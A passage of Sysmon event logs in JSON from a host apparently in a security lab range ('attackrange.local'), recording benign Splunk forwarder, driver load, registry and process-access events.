11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":3803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: T1031,T1050\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:52:36.140\r\nProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nProcessId: 852\r\nImage: C:\\Windows\\system32\\services.exe\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\npf\\ImagePath\r\nDetails: \\??\\C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"T1031,T1050","UtcTime":"2020-08-07 11:52:36.140","ProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","Image":"C:\\Windows\\system32\\services.exe","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\npf\\ImagePath","Details":"\\??\\C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.140\r\nSourceProcessGUID: {90617006-4082-5F2D-0000-00106B700500}\r\nSourceProcessId: 4932\r\nSourceThreadId: 3312\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe+201f2b|C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe+a6c153|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.140","SourceProcessGUID":"{90617006-4082-5F2D-0000-00106B700500}","SourceProcessId":"4932","SourceThreadId":"3312","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe+201f2b|C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe+a6c153|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.233\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 1680\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\cryptsvc.dll+6124|c:\\windows\\system32\\cryptsvc.dll+5e34|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.233","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"1680","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\cryptsvc.dll+6124|c:\\windows\\system32\\cryptsvc.dll+5e34|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":6,"OpcodeValue":0,"RecordNumber":3806,"ProcessID":2736,"ThreadID":3284,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Driver loaded:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.140\r\nImageLoaded: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys\r\nHashes: MD5=DE7FCC77F4A503AF4CA6A47D49B3713D,SHA256=4BFAA99393F635CD05D91A64DE73EDB5639412C129E049F0FE34F88517A10FC6,IMPHASH=CB86059F4B291991E735BECBD4C669CB\r\nSigned: true\r\nSignature: Riverbed Technology, Inc.\r\nSignatureStatus: Valid","Category":"Driver loaded (rule: DriverLoad)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.140","ImageLoaded":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys","Hashes":"MD5=DE7FCC77F4A503AF4CA6A47D49B3713D,SHA256=4BFAA99393F635CD05D91A64DE73EDB5639412C129E049F0FE34F88517A10FC6,IMPHASH=CB86059F4B291991E735BECBD4C669CB","Signed":"true","Signature":"Riverbed Technology, Inc.","SignatureStatus":"Valid","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.297\r\nProcessGuid: {90617006-4084-5F2D-0000-001092890500}\r\nProcessId: 3376\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.297","ProcessGuid":"{90617006-4084-5F2D-0000-001092890500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4084-5F2D-0000-001092890500}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4084-5F2D-0000-001092890500}","TargetProcessId":"3376","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4084-5F2D-0000-001092890500}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4084-5F2D-0000-001092890500}","TargetProcessId":"3376","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.296","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.296\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 